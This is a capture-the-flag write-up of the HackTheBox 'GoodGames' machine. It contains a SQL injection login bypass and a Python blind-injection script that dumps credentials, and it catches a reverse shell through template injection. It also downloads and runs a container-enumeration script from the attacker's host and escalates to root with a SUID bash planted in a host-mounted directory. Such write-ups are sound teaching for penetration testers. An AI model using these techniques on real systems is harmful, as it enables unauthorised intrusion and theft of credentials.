HackTheBox GoodGames Writeup
Nmap Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.94 scan initiated Mon Mar 31 13:25:21 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.10.11.130
Nmap scan report for 10.10.11.130
Host is up, received echo-reply ttl 63 (0.33s latency).
Scanned at 2025-03-31 13:25:21 CDT for 23s
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 31 13:25:44 2025 -- 1 IP address (1 host up) scanned in 22.84 seconds
HTTP Port 80 Enumeration
SQL Injection
There is a login page, we can try to test sql injection on email field: admin' -- // and random password.
It works and we login as admin!
Subdomain Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(wzwr㉿kali)-[~/Documents/htb/goodgames]
└─$ ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -u http://goodgames.htb -H "Host: FUZZ.goodgames.htb" -fw 1297
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://goodgames.htb
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.goodgames.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 1297
________________________________________________
internal [Status: 200, Size: 9256, Words: 2172, Lines: 208, Duration: 231ms]
:: Progress: [4989/4989] :: Job [1/1] :: 194 req/sec :: Duration: [0:00:27] :: Errors: 0 ::
We found internal.goodgames.htb!
It is a dashboard that required login again. However, the previous sql injection trick admin' -- // is failed to login. Since we know the previous login page is vulnerable to SQL injection, maybe we can dump the database to retrieve the credentials.
Blind SQL Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python
import requests
import string
URL = 'http://10.10.11.130/login'
def get_length_injection(target_query: str):
global URL
for i in range(1, 100):
payload = {
'email': f"test@email.com' AND LENGTH({target_query}) = {str(i)} -- //",
'password': '123123',
}
r = requests.post(URL, data=payload)
if 'Login Success' in r.text:
return i
else:
print('opps not found!')
exit()
def get_content_injection(target_query: str, length: int):
global URL
result = ''
for i in range(1, length + 1):
for c in string.printable:
payload = {
'email': f"test@email.com' AND SUBSTR({target_query}, {str(i)}, 1) = '{c}' -- //",
'password': '123123'
}
r = requests.post(URL, data=payload)
if 'Login Success' in r.text:
result += c
break
else:
print('opps not found!')
return result
target_query = ['database()', '(SELECT `table_name` FROM `information_schema`.`tables` WHERE `table_schema` = database() LIMIT 2, 1)', '(SELECT `column_name` FROM `information_schema`.`columns` WHERE `table_name` = "user" AND `table_schema` = database() LIMIT 3, 1)', '(SELECT user FROM user LIMIT 1, 1)', '(SELECT password FROM user LIMIT 0, 1)']
length = get_length_injection(target_query[4])
result = get_content_injection(target_query[4], length)
print(target_query[4], result, length)
By dumping the database, we found the credentials admin:superadministrator. We can use this to login into the dashboard!
Inside the dashboard, we can update the settings:
This indicates it might be vulnerable to SSTI
SSTI Exploit
We can confirm the SSTI by input ``, which returns 49 in the name field.
We can use the following payload to get reverse shell:
1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(wzwr㉿kali)-[~/Documents/htb/goodgames]
└─$ nc -lnvp 58787
listening on [any] 58787 ...
connect to [10.10.16.18] from (UNKNOWN) [10.10.11.130] 53284
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# id
id
uid=0(root) gid=0(root) groups=0(root)
root@3a453ab39d3d:/backend# ls /home
ls /home
augustus
root@3a453ab39d3d:/backend# ls /home/augustus
ls /home/augustus
user.txt
root@3a453ab39d3d:/backend# cat /home/augustus/user.txt
cat /home/augustus/user.txt
483842183c50937a7751767dfa87a2bd
root@3a453ab39d3d:/backend#
Docker Privilege Escalation
However, we are inside a docker container.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@3a453ab39d3d:/backend# ls -la /
ls -la /
total 84
drwxr-xr-x 1 root root 4096 Nov 5 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
-rwxr-xr-x 1 root root 0 Nov 5 2021 .dockerenv
drwxr-xr-x 1 root root 4096 Nov 5 2021 backend
drwxr-xr-x 2 root root 4096 Nov 2 2021 bin
drwxr-xr-x 2 root root 4096 Mar 27 2021 boot
drwxr-xr-x 5 root root 340 Mar 31 18:49 dev
drwxr-xr-x 1 root root 4096 Nov 5 2021 etc
drwxr-xr-x 1 root root 4096 Nov 2 2021 home
drwxr-xr-x 1 root root 4096 Nov 2 2021 lib
drwxr-xr-x 2 root root 4096 Nov 2 2021 lib64
drwxr-xr-x 2 root root 4096 Nov 2 2021 media
drwxr-xr-x 2 root root 4096 Nov 2 2021 mnt
drwxr-xr-x 2 root root 4096 Nov 2 2021 opt
dr-xr-xr-x 237 root root 0 Mar 31 18:49 proc
drwx------ 1 root root 4096 Nov 5 2021 root
drwxr-xr-x 1 root root 4096 Nov 5 2021 run
drwxr-xr-x 2 root root 4096 Nov 2 2021 sbin
drwxr-xr-x 2 root root 4096 Nov 2 2021 srv
dr-xr-xr-x 13 root root 0 Mar 31 18:49 sys
drwxrwxrwt 1 root root 4096 Mar 31 19:15 tmp
drwxr-xr-x 1 root root 4096 Nov 2 2021 usr
drwxr-xr-x 1 root root 4096 Nov 2 2021 var
root@3a453ab39d3d:/backend#
We need to escape the container.
Deepce.sh
We can use deepce.sh to enumerate and exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
root@3a453ab39d3d:/tmp# curl http://10.10.16.18:8000/deepce.sh -o deepce.sh
curl http://10.10.16.18:8000/deepce.sh -o deepce.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 145k 100 145k 0 0 439k 0 --:--:-- --:--:-- --:--:-- 439k
root@3a453ab39d3d:/tmp# chmod +x deepce.sh
chmod +x deepce.sh
root@3a453ab39d3d:/tmp# ./deepce.sh
./deepce.sh
__
__ ___ ___ ___ / /_ ___
/ _` / -_)/ -_)/ _ \/ __\/ -_)
\_,_/\__/ \__/ .__/\__/\__/
/_/
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
by stealthcopter
==========================================
[+] Enumerating General Information
==========================================
[+] Container ID: 3a453ab39d3d
[+] Hostname: 3a453ab39d3d
[+] User: root
[+] ID: uid=0(root) gid=0(root) groups=0(root)
[+] Docker Version: 20.10.5+dfsg1
[+] OS: Debian GNU/Linux 11 (bullseye)
[+] Arch: x86_64
[+] IP Address: 172.19.0.2
==========================================
[+] Enumerating Container Information
==========================================
[+] DNS Server: 1.1.1.1
[+] Connectivity: Full internet access (via 1.1.1.1)
[+] Container mounts:
/home/augustus -> /home/augustus
[+] Capabilities:
CAP_CHOWN
CAP_DAC_OVERRIDE
CAP_FOWNER
CAP_FSETID
CAP_KILL
CAP_SETGID
CAP_SETUID
CAP_SETPCAP
CAP_NET_BIND_SERVICE
CAP_NET_RAW
CAP_SYS_CHROOT
CAP_MKNOD
CAP_AUDIT_WRITE
CAP_SETFCAP
==========================================
[+] Enumerating Vulnerabilities
==========================================
[+] Vulnerable to CVE-2020-15257 (Host network namespace)
No
[+] Vulnerable to CVE-2019-5736 (RunC)
No
[+] Vulnerable to CVE-2019-14271 (Docker cp)
No
==========================================
[+] Enumerating Interesting Files
==========================================
[+] SUID Binaries:
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
==========================================
[+] Exploiting Container
==========================================
We see that /home/augustus is mounted from the host. Since we are root inside the container, we can change the permissions of files in this directory, which will reflect on the host. However, the user augustus on the host (uid 1000) owns the files.
We can try to create a bash binary with SUID permissions in the mounted directory.
1
2
3
4
5
6
7
8
9
10
11
root@3a453ab39d3d:/backend# cp /bin/bash /home/augustus/bash
cp /bin/bash /home/augustus/bash
root@3a453ab39d3d:/backend# chmod 4777 /home/augustus/bash
chmod 4777 /home/augustus/bash
root@3a453ab39d3d:/backend# ls -la /home/augustus
ls -la /home/augustus
total 1244
drwxr-xr-x 2 1000 1000 4096 Mar 31 19:18 .
drwxr-xr-x 1 root root 4096 Nov 2 2021 ..
-rwsrwxrwx 1 root root 1234376 Mar 31 19:18 bash
-rw-r----- 1 1000 1000 33 Mar 31 18:25 user.txt
Now we need to access the host as augustus. We can try to SSH into the host using the same password we found earlier superadministrator.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(wzwr㉿kali)-[~/Documents/htb/goodgames]
└─$ ssh augustus@10.10.11.130
augustus@10.10.11.130's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$
We are in! Now execute the SUID bash:
1
2
3
4
5
augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1# cat /root/root.txt
8e029471343701659a85718a2455928d
Rooted!





